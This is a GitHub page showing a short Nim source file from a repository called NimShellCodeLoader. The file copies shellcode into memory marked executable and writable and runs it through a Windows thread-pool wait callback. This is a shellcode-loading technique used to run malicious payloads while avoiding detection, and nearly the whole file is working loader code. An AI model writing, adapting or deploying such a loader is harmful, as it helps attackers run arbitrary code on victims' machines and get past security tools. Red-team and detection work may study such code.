NimShellCodeLoader/Thread_Pool_Wait.nim at 0.3 · aeverj/NimShellCodeLoader · GitHub

13 lines (11 loc) · 506 Bytes

import winim/lean

import public

proc threadpool(shellcode:cstring,shellcodelen:cint): void =

let rPtr = VirtualAlloc(NULL,cast[SIZE_T](shellcode.len),MEM_COMMIT,PAGE_EXECUTE_READ_WRITE)

copyMem(rPtr,shellcode,shellcodelen)

let event = CreateEvent(NULL,FALSE,TRUE,NULL)

let threadPoolWait = CreateThreadpoolWait(cast[PTP_WAIT_CALLBACK](rPtr),NULL,NULL)

SetThreadpoolWait(threadPoolWait,event,NULL)

WaitForSingleObject(event,INFINITE)

when isMainModule:

threadpool(code,codelen)

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